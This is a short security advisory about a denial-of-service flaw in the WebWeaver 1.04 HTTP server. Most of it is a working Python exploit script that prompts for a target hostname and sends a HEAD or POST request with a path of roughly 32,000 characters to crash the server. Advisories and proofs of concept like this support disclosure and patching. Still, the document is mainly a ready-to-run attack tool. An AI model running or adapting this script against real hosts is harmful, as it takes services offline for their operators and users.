source: https://www.securityfocus.com/bid/7695/info
When WebWeaver receives unusually long POST or HEAD requests, a denial of service condition may result. Restarting WebWeaver will allow normal operation to resume.
This vulnerability was reported for WebWeaver 1.04. Earlier versions may also be vulnerable.
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#! /usr/bin/env python
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# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
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# Usage: ./fadvWWhtdos.py
########
import sys
import httplib
met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status
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